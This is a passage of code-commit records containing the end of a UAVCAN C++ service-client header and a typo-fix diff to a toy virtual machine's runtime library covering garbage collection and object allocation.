ErrorTimeout));\n    }\n\n    \/**\n     * Shortcut to quickly check whether the call was successful.\n     *\/\n    bool isSuccessful() const { return status == Success; }\n};\n\n\/**\n * This operator neatly prints the service call result prepended with extra data like Server Node ID.\n * The extra data will be represented as YAML comment.\n *\/\ntemplate <typename Stream, typename DataType>\nstatic Stream& operator<<(Stream& s, const ServiceCallResult<DataType>& scr)\n{\n    s << \"# Service call result [\" << DataType::getDataTypeFullName() << \"] \"\n      << (scr.isSuccessful() ? \"OK\" : \"FAILURE\")\n      << \" server_node_id=\" << int(scr.server_node_id.get()) << \"\\n\";\n    if (scr.isSuccessful())\n    {\n        s << scr.response;\n    }\n    else\n    {\n        s << \"# (no data)\";\n    }\n    return s;\n}\n\n\/**\n * Do not use directly.\n *\/\nclass ServiceClientBase : protected DeadlineHandler\n{\n    const DataTypeDescriptor* data_type_descriptor_;  \/\/\/< This will be initialized at the time of first call\n\nprotected:\n    MonotonicDuration request_timeout_;\n    bool pending_;\n\n    explicit ServiceClientBase(INode& node)\n        : DeadlineHandler(node.getScheduler())\n        , data_type_descriptor_(NULL)\n        , request_timeout_(getDefaultRequestTimeout())\n        , pending_(false)\n    { }\n\n    virtual ~ServiceClientBase() { }\n\n    int prepareToCall(INode& node, const char* dtname, NodeID server_node_id, TransferID& out_transfer_id);\n\npublic:\n    \/**\n     * Returns true if the service call is currently in progress.\n     *\/\n    bool isPending() const { return pending_; }\n\n    \/**\n     * It's not recommended to override default timeouts.\n     *\/\n    static MonotonicDuration getDefaultRequestTimeout() { return MonotonicDuration::fromMSec(1000); }\n    static MonotonicDuration getMinRequestTimeout() { return MonotonicDuration::fromMSec(10); }\n    static MonotonicDuration getMaxRequestTimeout() { return MonotonicDuration::fromMSec(60000); }\n\n    \/**\n     * Returns the service response waiting deadline, if pending.\n     *\/\n    using DeadlineHandler::getDeadline;\n};\n\n\/**\n * Use this class to invoke services on remote nodes.\n *\n * @tparam DataType_        Service data type.\n *\n * @tparam Callback_        Service response will be delivered through the callback of this type.\n *                          In C++11 mode this type defaults to std::function<>.\n *                          In C++03 mode this type defaults to a plain function pointer; use binder to\n *                          call member functions as callbacks.\n *\/\ntemplate <typename DataType_,\n#if UAVCAN_CPP_VERSION >= UAVCAN_CPP11\n          typename Callback_ = std::function<void (const ServiceCallResult<DataType_>&)>\n#else\n          typename Callback_ = void (*)(const ServiceCallResult<DataType_>&)\n#endif\n          >\nclass UAVCAN_EXPORT ServiceClient\n    : public GenericSubscriber<DataType_, typename DataType_::Response,\n                               typename ServiceResponseTransferListenerInstantiationHelper<DataType_>::Type >\n    , public ServiceClientBase\n{\npublic:\n    typedef DataType_ DataType;\n    typedef typename DataType::Request RequestType;\n    typedef typename DataType::Response ResponseType;\n    typedef ServiceCallResult<DataType> ServiceCallResultType;\n    typedef Callback_ Callback;\n\nprivate:\n    typedef ServiceClient<DataType, Callback> SelfType;\n    typedef GenericPublisher<DataType, RequestType> PublisherType;\n    typedef typename ServiceResponseTransferListenerInstantiationHelper<DataType>::Type TransferListenerType;\n    typedef GenericSubscriber<DataType, ResponseType, TransferListenerType> SubscriberType;\n\n    PublisherType publisher_;\n    Callback callback_;\n\n    bool isCallbackValid() const { return try_implicit_cast<bool>(callback_, true); }\n\n    void invokeCallback(ServiceCallResultType& result);\n\n    virtual void handleReceivedDataStruct(ReceivedDataStructure<ResponseType>& response);\n\n    virtual void handleDeadline(MonotonicTime);\n\npublic:\n    \/**\n     * @param node      Node instance this client will be registered with.\n     * @param callback  Callback instance. Optional, can be assigned later.\n     *\/\n    explicit ServiceClient(INode& node, const Callback& callback = Callback())\n        : SubscriberType(node)\n        , ServiceClientBase(node)\n        , publisher_(node, getDefaultRequestTimeout())\n        , callback_(callback)\n    {\n        setRequestTimeout(getDefaultRequestTimeout());\n#if UAVCAN_DEBUG\n        UAVCAN_ASSERT(getRequestTimeout() == getDefaultRequestTimeout());  \/\/ Making sure default values are OK\n#endif\n    }\n\n    virtual ~ServiceClient() { cancel(); }\n\n    \/**\n     * Shall be called before first use.\n     * Returns negative error code.\n     *\/\n    int init()\n    {\n        return publisher_.init();\n    }\n\n    \/**\n     * Performs non-blocking service call.\n     * This method transmits the service request and returns immediately.\n     *\n     * Service response will be delivered into the application via the callback.\n     * Note that the callback will ALWAYS be called even if the service call has timed out; the\n     * actual result of the call (success\/failure) will be passed to the callback as well.\n     *\n     * If this client instance is already pending service response, it will be cancelled and the new\n     * call will be performed.\n     *\n     * Returns negative error code.\n     *\/\n    int call(NodeID server_node_id, const RequestType& request);\n\n    \/**\n     * Cancel the pending service call.\n     * Does nothing if it is not pending.\n     *\/\n    void cancel();\n\n    \/**\n     * Service response callback must be set prior service call.\n     *\/\n    const Callback& getCallback() const { return callback_; }\n    void setCallback(const Callback& cb) { callback_ = cb; }\n\n    \/**\n     * Returns the number of failed attempts to decode received response. Generally, a failed attempt means either:\n     * - Transient failure in the transport layer.\n     * - Incompatible data types.\n     *\/\n    uint32_t getResponseFailureCount() const { return SubscriberType::getFailureCount(); }\n\n    \/**\n     * Request timeouts.\n     * There is no such config as TX timeout - TX timeouts are configured automagically according to request timeouts.\n     * Not recommended to change.\n     *\/\n    MonotonicDuration getRequestTimeout() const { return request_timeout_; }\n    void setRequestTimeout(MonotonicDuration timeout)\n    {\n        timeout = max(timeout, getMinRequestTimeout());\n        timeout = min(timeout, getMaxRequestTimeout());\n\n        publisher_.setTxTimeout(timeout);\n        request_timeout_ = max(timeout, publisher_.getTxTimeout());  \/\/ No less than TX timeout\n    }\n};\n\n\/\/ ----------------------------------------------------------------------------\n\ntemplate <typename DataType_, typename Callback_>\nvoid ServiceClient<DataType_, Callback_>::invokeCallback(ServiceCallResultType& result)\n{\n    if (isCallbackValid())\n    {\n        callback_(result);\n    }\n    else\n    {\n        handleFatalError(\"Srv client clbk\");\n    }\n}\n\ntemplate <typename DataType_, typename Callback_>\nvoid ServiceClient<DataType_, Callback_>::handleReceivedDataStruct(ReceivedDataStructure<ResponseType>& response)\n{\n    UAVCAN_ASSERT(response.getTransferType() == TransferTypeServiceResponse);\n    const TransferListenerType* const listener = SubscriberType::getTransferListener();\n    if (listener)\n    {\n        const typename TransferListenerType::ExpectedResponseParams erp = listener->getExpectedResponseParams();\n        ServiceCallResultType result(ServiceCallResultType::Success, erp.src_node_id, response);\n        cancel();\n        invokeCallback(result);\n    }\n    else\n    {\n        UAVCAN_ASSERT(0);\n        cancel();\n    }\n}\n\ntemplate <typename DataType_, typename Callback_>\nvoid ServiceClient<DataType_, Callback_>::handleDeadline(MonotonicTime)\n{\n    const TransferListenerType* const listener = SubscriberType::getTransferListener();\n    if (listener)\n    {\n        const typename TransferListenerType::ExpectedResponseParams erp = listener->getExpectedResponseParams();\n        ReceivedDataStructure<ResponseType>& ref = SubscriberType::getReceivedStructStorage();\n        ServiceCallResultType result(ServiceCallResultType::ErrorTimeout, erp.src_node_id, ref);\n\n        UAVCAN_TRACE(\"ServiceClient\", \"Timeout from nid=%i, dtname=%s\",\n                     erp.src_node_id.get(), DataType::getDataTypeFullName());\n        cancel();\n        invokeCallback(result);\n    }\n    else\n    {\n        UAVCAN_ASSERT(0);\n        cancel();\n    }\n}\n\ntemplate <typename DataType_, typename Callback_>\nint ServiceClient<DataType_, Callback_>::call(NodeID server_node_id, const RequestType& request)\n{\n    cancel();\n    if (!isCallbackValid())\n    {\n        UAVCAN_TRACE(\"ServiceClient\", \"Invalid callback\");\n        return -ErrInvalidParam;\n    }\n\n    \/*\n     * Common procedures that don't depend on the struct data type\n     *\/\n    TransferID transfer_id;\n    const int prep_res =\n        prepareToCall(SubscriberType::getNode(), DataType::getDataTypeFullName(), server_node_id, transfer_id);\n    if (prep_res < 0)\n    {\n        UAVCAN_TRACE(\"ServiceClient\", \"Failed to prepare the call, error: %i\", prep_res);\n        cancel();\n        return prep_res;\n    }\n\n    \/*\n     * Starting the subscriber\n     *\/\n    const int subscriber_res = SubscriberType::startAsServiceResponseListener();\n    if (subscriber_res < 0)\n    {\n        UAVCAN_TRACE(\"ServiceClient\", \"Failed to start the subscriber, error: %i\", subscriber_res);\n        cancel();\n        return subscriber_res;\n    }\n\n    \/*\n     * Configuring the listener so it will accept only the matching response\n     *\/\n    TransferListenerType* const tl = SubscriberType::getTransferListener();\n    if (tl == NULL)\n    {\n        UAVCAN_ASSERT(0);  \/\/ Must have been created\n        cancel();\n        return -ErrLogic;\n    }\n    const typename TransferListenerType::ExpectedResponseParams erp(server_node_id, transfer_id);\n    tl->setExpectedResponseParams(erp);\n\n    \/*\n     * Publishing the request\n     *\/\n    const int publisher_res = publisher_.publish(request, TransferTypeServiceRequest, server_node_id, transfer_id);\n    if (publisher_res < 0)\n    {\n        cancel();\n    }\n    return publisher_res;\n}\n\ntemplate <typename DataType_, typename Callback_>\nvoid ServiceClient<DataType_, Callback_>::cancel()\n{\n    pending_ = false;\n    SubscriberType::stop();\n    DeadlineHandler::stop();\n    TransferListenerType* const tl = SubscriberType::getTransferListener();\n    if (tl)\n    {\n        tl->stopAcceptingAnything();\n    }\n}\n\n}\n\n#endif \/\/ UAVCAN_NODE_SERVICE_CLIENT_HPP_INCLUDED\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Connections virkar<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <string.h>\n\n#include \"rtlibrary.h\"\n#include \"amd64.h\"\n#include \"objects.h\"\n#include \"vmstate.h\"\n#include \"function.h\"\n#include \"type.h\"\n#include \"codegenerator.h\"\n\nextern VMState vmState;\n\nvoid Runtime::pushFunc(Function* func, int instIndex) {\n    vmState.pushFunc(func, instIndex);\n}\n\nvoid Runtime::popFunc() {\n    vmState.popFunc();\n}\n\nvoid Runtime::printStackFrame(long* basePtr, Function* func) {\n    int numArgs = func->numArgs();\n    int numLocals = func->numLocals();\n\n    std::cout << \"----Start StackFrame----\" << std::endl;\n    std::cout << \"Func: \" << func->name() << std::endl;\n    std::cout << \"Num args: \" << numArgs << std::endl;\n    std::cout << \"Num locals: \" << numLocals << std::endl;\n\n    std::cout << std::endl;\n    std::cout << \"Values:\" << std::endl;\n    printAliveObjects(basePtr, func, func->instructions.size() - 1, \"\\t\");\n    \n    std::cout << \"----End StackFrame----\" << std::endl;\n}\n\nvoid printStackTrace(long* basePtr, int level) {\n    if (level > 50 || basePtr == nullptr) {\n        return;\n    }\n\n    std::cout << basePtr << \" from \" << \"0x\" << std::hex << *basePtr << std::dec << std::endl;\n    printStackTrace((long*)*basePtr, level + 1);\n}\n\nvoid printTimes(char c, int times) {\n    for (int i = 0; i < times; i++) {\n        std::cout << c;\n    }\n}\n\nlong* findBasePtr(long* basePtr, int currentIndex, int index) {\n    if (basePtr == nullptr) {\n        return nullptr;\n    }\n\n    if (currentIndex == index) {\n        return (long*)*basePtr;\n    }\n\n    return findBasePtr((long*)*basePtr, currentIndex + 1, index);\n}\n\nunion IntFloatConverter {\n    int IntValue;\n    float FloatValue;\n};\n\nvoid printValue(long value, const Type* type) {\n    if (TypeSystem::isReferenceType(type)) {\n        if (value == 0) {\n            std::cout << \"nullref\";\n        } else {\n            std::cout << \"0x\" << std::hex << value << std::dec;\n        }\n    } else if (type->name() == \"Float\") {\n        \/\/int floatPattern = 1096149893;\n        \/\/float floatValue = *(reinterpret_cast<float*>(&floatPattern));\n\n        std::cout << value;\n    } else {\n        std::cout << value;\n    }\n\n    std::cout << \" (\" + type->name() + \")\";\n}\n\nvoid Runtime::printAliveObjects(long* basePtr, Function* func, int instIndex, std::string indentation) {\n    int numArgs = func->numArgs();\n    int numLocals = func->numLocals();\n    auto operandTypes = func->instructionOperandTypes.at(instIndex);\n    int stackSize = operandTypes.size();\n\n    long* argsStart = basePtr - 1;\n    long* localsStart = basePtr - 1 - numArgs;\n    \/\/long* stackStart = basePtr - numArgs - numLocals - (func->stackSize() \/ 8);\n    \/\/long* stackStart = basePtr - 1 - numArgs - numLocals - (func->stackSize() \/ 8) + stackSize;\n    long* stackStart = basePtr - 1 - (func->stackSize() \/ 8);\n\n    if (numArgs > 0) {\n        std::cout << indentation << \"Args: \" << std::endl;\n        for (int i = 0; i < numArgs; i++) {\n            \/\/std::cout << indentation << i << \": \" << argsStart[-i] << \" (\" << func->arguments()[i]->name() << \")\" << std::endl;\n            std::cout << indentation << i << \": \";\n            printValue(argsStart[-i], func->arguments()[i]);\n            std::cout << std::endl;\n        }\n\n        std::cout << std::endl;\n    }\n\n    if (numLocals > 0) {\n        std::cout << indentation << \"Locals: \" << std::endl;\n        for (int i = 0; i < numLocals; i++) {\n            \/\/std::cout << indentation << i << \": \" << localsStart[-i] << \" (\" << func->getLocal(i)->name() << \")\" << std::endl;\n            std::cout << indentation << i << \": \";\n            printValue(localsStart[-i], func->getLocal(i));\n            std::cout << std::endl;\n        }\n\n        std::cout << std::endl;\n    }\n\n    if (stackSize > 0) {\n        std::cout << indentation << \"Stack: \" << std::endl;\n        for (int i = 0; i < stackSize; i++) {\n            \/\/std::cout << indentation << i << \": \" << stackStart[-i] << \" (\" << operandTypes[i]->name() << \")\" << std::endl;\n            std::cout << indentation << i << \": \";\n            printValue(stackStart[-i], operandTypes[i]);\n            std::cout << std::endl;\n        }\n    }\n}\n\nvoid printObject(ObjectHandle* handle) {\n    std::cout \n        << \"0x\" << std::hex << (long)handle->handle() << std::dec << \": \" << handle->size()\n        << \" bytes (\" << handle->type()->name() << \")\" << std::endl;\n}\n\nvoid Runtime::markObject(ObjectHandle* handle) {\n    if (!handle->isMarked()) {\n        if (TypeSystem::isArray(handle->type())) {\n            auto arrayHandle = static_cast<ArrayHandle*>(handle);\n            auto arrayType = static_cast<const ArrayType*>(handle->type());\n\n            handle->mark();\n\n            \/\/Mark ref elements\n            if (TypeSystem::isReferenceType(arrayType->elementType())) {\n                long* elemenetsPtr = (long*)(arrayHandle->handle() + 4);\n\n                for (int i = 0; i < arrayHandle->length(); i++) {\n                    markValue(elemenetsPtr[i], arrayType->elementType());\n                }\n            }\n        } else if (TypeSystem::isStruct(handle->type())) {\n            handle->mark();\n\n            auto structType = static_cast<const StructType*>(handle->type());\n            auto structMetadata = vmState.getStructMetadata(structType);\n\n            \/\/Mark ref fields\n            for (auto fieldEntry : structMetadata.fields()) {\n                auto field = fieldEntry.second;\n\n                if (TypeSystem::isReferenceType(field.type)) {\n                    long fieldValue = *((long*)handle->handle() + field.offset);\n                    markValue(fieldValue, field.type);\n                }\n            }\n        }\n    }\n}\n\nvoid Runtime::markValue(long value, const Type* type) {\n    unsigned char* objPtr = (unsigned char*)value;\n\n    \/\/Don't mark nulls\n    if (objPtr == nullptr) {\n        return;\n    }\n\n    if (TypeSystem::isReferenceType(type)) {\n        if (vmState.getObjects().count(objPtr) > 0) {\n            Runtime::markObject(vmState.getObjects().at(objPtr));\n        } else {\n            if (vmState.enableDebug) {\n                \/\/Due to a bug in the root finding, its possible to mark invalid values.\n                std::cout << \"Marking invalid object (0x\" << std::hex << value << std::dec << \")\" << std::endl;\n            }\n        }\n    }\n}\n\nvoid Runtime::markObjects(long* basePtr, Function* func, int instIndex) {\n    int numArgs = func->numArgs();\n    int numLocals = func->numLocals();\n    auto operandTypes = func->instructionOperandTypes.at(instIndex);\n    int stackSize = operandTypes.size();\n\n    long* argsStart = basePtr - 1;\n    long* localsStart = basePtr - 1 - numArgs;\n    long* stackStart = basePtr - 1 - (func->stackSize() \/ 8);\n\n    if (numArgs > 0) {\n        for (int i = 0; i < numArgs; i++) {\n            Runtime::markValue(argsStart[-i], func->arguments()[i]);\n        }\n    }\n\n    if (numLocals > 0) {\n        for (int i = 0; i < numLocals; i++) {\n            Runtime::markValue(localsStart[-i], func->getLocal(i));\n        }\n    }\n\n    if (stackSize > 0) {\n        for (int i = 0; i < stackSize; i++) {\n            Runtime::markValue(stackStart[-i], operandTypes[i]);\n        }\n    }\n}\n\nvoid Runtime::sweepObjects() {\n    std::vector<ObjectHandle*> objectsToRemove;\n\n    for (auto objEntry : vmState.getObjects()) {\n        auto obj = objEntry.second;\n\n        if (!obj->isMarked()) {\n            objectsToRemove.push_back(obj);\n\n            if (vmState.enableDebug) {\n                std::cout << \"Deleted object: \";\n                printObject(obj);\n            }\n        } else {\n            obj->unmark();\n        }\n    }\n\n    for (auto obj : objectsToRemove) {\n        vmState.deleteObject(obj);\n    }\n}\n\nvoid Runtime::garbageCollect(long* basePtr, Function* func, int instIndex) {\n    int startStrLength = 0;\n\n    if (vmState.enableDebug) {\n        auto startStr = \"-----Start GC in func \" + func->name() + \" (\" + std::to_string(instIndex) + \")-----\";\n        std::cout << startStr << std::endl;\n        startStrLength = startStr.length();\n    }\n\n    if (vmState.enableDebug) {\n        std::cout << \"Alive objects: \" << std::endl;\n\n        for (auto objEntry : vmState.getObjects()) {\n            auto obj = objEntry.second;\n            printObject(obj);\n        }\n    }\n    \n    if (vmState.enableDebug) {\n        std::cout << \"Stack trace: \" << std::endl;\n        std::cout << func->name() << \" (\" << instIndex << \")\" << std::endl;\n        Runtime::printAliveObjects(basePtr, func, instIndex, \"\\t\");\n    }\n\n    Runtime::markObjects(basePtr, func, instIndex);\n\n    int topFuncIndex = 0;\n    for (auto callEntry : vmState.callStack()) {\n        auto topFunc = callEntry.first;\n        auto callPoint = callEntry.second;\n        auto callBasePtr = findBasePtr(basePtr, 0, topFuncIndex);\n\n        if (vmState.enableDebug) {\n            std::cout << topFunc->name() << \" (\" << callPoint << \")\" << std::endl;\n        }\n\n        Runtime::printAliveObjects(callBasePtr, topFunc, callPoint, \"\\t\");\n        Runtime::markObjects(callBasePtr, topFunc, callPoint);\n\n        topFuncIndex++;\n    }\n\n    Runtime::sweepObjects();\n\n    if (vmState.enableDebug) {\n        printTimes('-', startStrLength \/ 2 - 3);\n        std::cout << \"End GC\";\n        printTimes('-', (startStrLength + 1) \/ 2 - 3);\n        std::cout << std::endl;\n    }\n}\n\nlong Runtime::newArray(Type* elementType, int length) {\n    auto elemSize = TypeSystem::sizeOfType(elementType);\n\n    std::size_t memSize = sizeof(int) + length * elemSize;\n    unsigned char* arrayPtr = new unsigned char[memSize];\n    memset(arrayPtr, 0, memSize);\n\n    \/\/Add the array to the list of objects\n    vmState.newObject(new ArrayHandle(arrayPtr, memSize, vmState.getType(TypeSystem::arrayTypeName(elementType)), length));\n\n    \/\/Set the size of the array\n    IntToBytes converter;\n    converter.IntValue = length;\n    arrayPtr[0] = converter.ByteValues[0];\n    arrayPtr[1] = converter.ByteValues[1];\n    arrayPtr[2] = converter.ByteValues[2];\n    arrayPtr[3] = converter.ByteValues[3];\n\n    if (vmState.enableDebug) {\n        std::cout\n            << \"Allocted array (size: \" << memSize << \" bytes, length: \" << length << \", type: \" << elementType->name()\n            << \") at \" << (long)arrayPtr\n            << std::endl;\n    }\n\n    return (long)arrayPtr;\n}\n\nlong Runtime::newObject(Type* type) {\n    auto structType = static_cast<StructType*>(type);\n\n    std::size_t memSize = vmState.getStructMetadata(structType->structName()).size();\n    unsigned char* structPtr = new unsigned char[memSize];\n    memset(structPtr, 0, memSize);\n\n    \/\/Add the struct to the list of objects\n    vmState.newObject(new StructHandle(structPtr, memSize, type));\n\n    if (vmState.enableDebug) {\n        std::cout\n            << \"Allocted object (size: \" << memSize << \" bytes, type: \" <<  type->name() \n            << \") at \" << (long)structPtr\n            << std::endl;\n    }\n\n    return (long)structPtr;\n}\n\nvoid Runtime::runtimeError(std::string errorMessage) {\n    throw std::runtime_error(errorMessage);\n}\n\nvoid Runtime::invalidArrayCreation() {\n    Runtime::runtimeError(\"The length of the array must be >= 0.\");\n}\n\nvoid Runtime::arrayOutOfBoundsError() {\n    Runtime::runtimeError(\"Array index is out of bounds.\");\n}\n\nvoid Runtime::nullReferenceError() {\n    Runtime::runtimeError(\"Null reference error.\");\n}<commit_msg>Fixed typo.<commit_after>#include <iostream>\n#include <string.h>\n\n#include \"rtlibrary.h\"\n#include \"amd64.h\"\n#include \"objects.h\"\n#include \"vmstate.h\"\n#include \"function.h\"\n#include \"type.h\"\n#include \"codegenerator.h\"\n\nextern VMState vmState;\n\nvoid Runtime::pushFunc(Function* func, int instIndex) {\n    vmState.pushFunc(func, instIndex);\n}\n\nvoid Runtime::popFunc() {\n    vmState.popFunc();\n}\n\nvoid Runtime::printStackFrame(long* basePtr, Function* func) {\n    int numArgs = func->numArgs();\n    int numLocals = func->numLocals();\n\n    std::cout << \"----Start StackFrame----\" << std::endl;\n    std::cout << \"Func: \" << func->name() << std::endl;\n    std::cout << \"Num args: \" << numArgs << std::endl;\n    std::cout << \"Num locals: \" << numLocals << std::endl;\n\n    std::cout << std::endl;\n    std::cout << \"Values:\" << std::endl;\n    printAliveObjects(basePtr, func, func->instructions.size() - 1, \"\\t\");\n    \n    std::cout << \"----End StackFrame----\" << std::endl;\n}\n\nvoid printStackTrace(long* basePtr, int level) {\n    if (level > 50 || basePtr == nullptr) {\n        return;\n    }\n\n    std::cout << basePtr << \" from \" << \"0x\" << std::hex << *basePtr << std::dec << std::endl;\n    printStackTrace((long*)*basePtr, level + 1);\n}\n\nvoid printTimes(char c, int times) {\n    for (int i = 0; i < times; i++) {\n        std::cout << c;\n    }\n}\n\nlong* findBasePtr(long* basePtr, int currentIndex, int index) {\n    if (basePtr == nullptr) {\n        return nullptr;\n    }\n\n    if (currentIndex == index) {\n        return (long*)*basePtr;\n    }\n\n    return findBasePtr((long*)*basePtr, currentIndex + 1, index);\n}\n\nunion IntFloatConverter {\n    int IntValue;\n    float FloatValue;\n};\n\nvoid printValue(long value, const Type* type) {\n    if (TypeSystem::isReferenceType(type)) {\n        if (value == 0) {\n            std::cout << \"nullref\";\n        } else {\n            std::cout << \"0x\" << std::hex << value << std::dec;\n        }\n    } else if (type->name() == \"Float\") {\n        \/\/int floatPattern = 1096149893;\n        \/\/float floatValue = *(reinterpret_cast<float*>(&floatPattern));\n\n        std::cout << value;\n    } else {\n        std::cout << value;\n    }\n\n    std::cout << \" (\" + type->name() + \")\";\n}\n\nvoid Runtime::printAliveObjects(long* basePtr, Function* func, int instIndex, std::string indentation) {\n    int numArgs = func->numArgs();\n    int numLocals = func->numLocals();\n    auto operandTypes = func->instructionOperandTypes.at(instIndex);\n    int stackSize = operandTypes.size();\n\n    long* argsStart = basePtr - 1;\n    long* localsStart = basePtr - 1 - numArgs;\n    \/\/long* stackStart = basePtr - numArgs - numLocals - (func->stackSize() \/ 8);\n    \/\/long* stackStart = basePtr - 1 - numArgs - numLocals - (func->stackSize() \/ 8) + stackSize;\n    long* stackStart = basePtr - 1 - (func->stackSize() \/ 8);\n\n    if (numArgs > 0) {\n        std::cout << indentation << \"Args: \" << std::endl;\n        for (int i = 0; i < numArgs; i++) {\n            \/\/std::cout << indentation << i << \": \" << argsStart[-i] << \" (\" << func->arguments()[i]->name() << \")\" << std::endl;\n            std::cout << indentation << i << \": \";\n            printValue(argsStart[-i], func->arguments()[i]);\n            std::cout << std::endl;\n        }\n\n        std::cout << std::endl;\n    }\n\n    if (numLocals > 0) {\n        std::cout << indentation << \"Locals: \" << std::endl;\n        for (int i = 0; i < numLocals; i++) {\n            \/\/std::cout << indentation << i << \": \" << localsStart[-i] << \" (\" << func->getLocal(i)->name() << \")\" << std::endl;\n            std::cout << indentation << i << \": \";\n            printValue(localsStart[-i], func->getLocal(i));\n            std::cout << std::endl;\n        }\n\n        std::cout << std::endl;\n    }\n\n    if (stackSize > 0) {\n        std::cout << indentation << \"Stack: \" << std::endl;\n        for (int i = 0; i < stackSize; i++) {\n            \/\/std::cout << indentation << i << \": \" << stackStart[-i] << \" (\" << operandTypes[i]->name() << \")\" << std::endl;\n            std::cout << indentation << i << \": \";\n            printValue(stackStart[-i], operandTypes[i]);\n            std::cout << std::endl;\n        }\n    }\n}\n\nvoid printObject(ObjectHandle* handle) {\n    std::cout \n        << \"0x\" << std::hex << (long)handle->handle() << std::dec << \": \" << handle->size()\n        << \" bytes (\" << handle->type()->name() << \")\" << std::endl;\n}\n\nvoid Runtime::markObject(ObjectHandle* handle) {\n    if (!handle->isMarked()) {\n        if (TypeSystem::isArray(handle->type())) {\n            auto arrayHandle = static_cast<ArrayHandle*>(handle);\n            auto arrayType = static_cast<const ArrayType*>(handle->type());\n\n            handle->mark();\n\n            \/\/Mark ref elements\n            if (TypeSystem::isReferenceType(arrayType->elementType())) {\n                long* elemenetsPtr = (long*)(arrayHandle->handle() + 4);\n\n                for (int i = 0; i < arrayHandle->length(); i++) {\n                    markValue(elemenetsPtr[i], arrayType->elementType());\n                }\n            }\n        } else if (TypeSystem::isStruct(handle->type())) {\n            handle->mark();\n\n            auto structType = static_cast<const StructType*>(handle->type());\n            auto structMetadata = vmState.getStructMetadata(structType);\n\n            \/\/Mark ref fields\n            for (auto fieldEntry : structMetadata.fields()) {\n                auto field = fieldEntry.second;\n\n                if (TypeSystem::isReferenceType(field.type)) {\n                    long fieldValue = *((long*)handle->handle() + field.offset);\n                    markValue(fieldValue, field.type);\n                }\n            }\n        }\n    }\n}\n\nvoid Runtime::markValue(long value, const Type* type) {\n    unsigned char* objPtr = (unsigned char*)value;\n\n    \/\/Don't mark nulls\n    if (objPtr == nullptr) {\n        return;\n    }\n\n    if (TypeSystem::isReferenceType(type)) {\n        if (vmState.getObjects().count(objPtr) > 0) {\n            Runtime::markObject(vmState.getObjects().at(objPtr));\n        } else {\n            if (vmState.enableDebug) {\n                \/\/Due to a bug in the root finding, its possible to mark invalid values.\n                std::cout << \"Marking invalid object (0x\" << std::hex << value << std::dec << \")\" << std::endl;\n            }\n        }\n    }\n}\n\nvoid Runtime::markObjects(long* basePtr, Function* func, int instIndex) {\n    int numArgs = func->numArgs();\n    int numLocals = func->numLocals();\n    auto operandTypes = func->instructionOperandTypes.at(instIndex);\n    int stackSize = operandTypes.size();\n\n    long* argsStart = basePtr - 1;\n    long* localsStart = basePtr - 1 - numArgs;\n    long* stackStart = basePtr - 1 - (func->stackSize() \/ 8);\n\n    if (numArgs > 0) {\n        for (int i = 0; i < numArgs; i++) {\n            Runtime::markValue(argsStart[-i], func->arguments()[i]);\n        }\n    }\n\n    if (numLocals > 0) {\n        for (int i = 0; i < numLocals; i++) {\n            Runtime::markValue(localsStart[-i], func->getLocal(i));\n        }\n    }\n\n    if (stackSize > 0) {\n        for (int i = 0; i < stackSize; i++) {\n            Runtime::markValue(stackStart[-i], operandTypes[i]);\n        }\n    }\n}\n\nvoid Runtime::sweepObjects() {\n    std::vector<ObjectHandle*> objectsToRemove;\n\n    for (auto objEntry : vmState.getObjects()) {\n        auto obj = objEntry.second;\n\n        if (!obj->isMarked()) {\n            objectsToRemove.push_back(obj);\n\n            if (vmState.enableDebug) {\n                std::cout << \"Deleted object: \";\n                printObject(obj);\n            }\n        } else {\n            obj->unmark();\n        }\n    }\n\n    for (auto obj : objectsToRemove) {\n        vmState.deleteObject(obj);\n    }\n}\n\nvoid Runtime::garbageCollect(long* basePtr, Function* func, int instIndex) {\n    int startStrLength = 0;\n\n    if (vmState.enableDebug) {\n        auto startStr = \"-----Start GC in func \" + func->name() + \" (\" + std::to_string(instIndex) + \")-----\";\n        std::cout << startStr << std::endl;\n        startStrLength = startStr.length();\n    }\n\n    if (vmState.enableDebug) {\n        std::cout << \"Alive objects: \" << std::endl;\n\n        for (auto objEntry : vmState.getObjects()) {\n            auto obj = objEntry.second;\n            printObject(obj);\n        }\n    }\n    \n    if (vmState.enableDebug) {\n        std::cout << \"Stack trace: \" << std::endl;\n        std::cout << func->name() << \" (\" << instIndex << \")\" << std::endl;\n        Runtime::printAliveObjects(basePtr, func, instIndex, \"\\t\");\n    }\n\n    Runtime::markObjects(basePtr, func, instIndex);\n\n    int topFuncIndex = 0;\n    for (auto callEntry : vmState.callStack()) {\n        auto topFunc = callEntry.first;\n        auto callPoint = callEntry.second;\n        auto callBasePtr = findBasePtr(basePtr, 0, topFuncIndex);\n\n        if (vmState.enableDebug) {\n            std::cout << topFunc->name() << \" (\" << callPoint << \")\" << std::endl;\n        }\n\n        Runtime::printAliveObjects(callBasePtr, topFunc, callPoint, \"\\t\");\n        Runtime::markObjects(callBasePtr, topFunc, callPoint);\n\n        topFuncIndex++;\n    }\n\n    Runtime::sweepObjects();\n\n    if (vmState.enableDebug) {\n        printTimes('-', startStrLength \/ 2 - 3);\n        std::cout << \"End GC\";\n        printTimes('-', (startStrLength + 1) \/ 2 - 3);\n        std::cout << std::endl;\n    }\n}\n\nlong Runtime::newArray(Type* elementType, int length) {\n    auto elemSize = TypeSystem::sizeOfType(elementType);\n\n    std::size_t memSize = sizeof(int) + length * elemSize;\n    unsigned char* arrayPtr = new unsigned char[memSize];\n    memset(arrayPtr, 0, memSize);\n\n    \/\/Add the array to the list of objects\n    vmState.newObject(new ArrayHandle(arrayPtr, memSize, vmState.getType(TypeSystem::arrayTypeName(elementType)), length));\n\n    \/\/Set the size of the array\n    IntToBytes converter;\n    converter.IntValue = length;\n    arrayPtr[0] = converter.ByteValues[0];\n    arrayPtr[1] = converter.ByteValues[1];\n    arrayPtr[2] = converter.ByteValues[2];\n    arrayPtr[3] = converter.ByteValues[3];\n\n    if (vmState.enableDebug) {\n        std::cout\n            << \"Allocated array (size: \" << memSize << \" bytes, length: \" << length << \", type: \" << elementType->name()\n            << \") at \" << (long)arrayPtr\n            << std::endl;\n    }\n\n    return (long)arrayPtr;\n}\n\nlong Runtime::newObject(Type* type) {\n    auto structType = static_cast<StructType*>(type);\n\n    std::size_t memSize = vmState.getStructMetadata(structType->structName()).size();\n    unsigned char* structPtr = new unsigned char[memSize];\n    memset(structPtr, 0, memSize);\n\n    \/\/Add the struct to the list of objects\n    vmState.newObject(new StructHandle(structPtr, memSize, type));\n\n    if (vmState.enableDebug) {\n        std::cout\n            << \"Allocated object (size: \" << 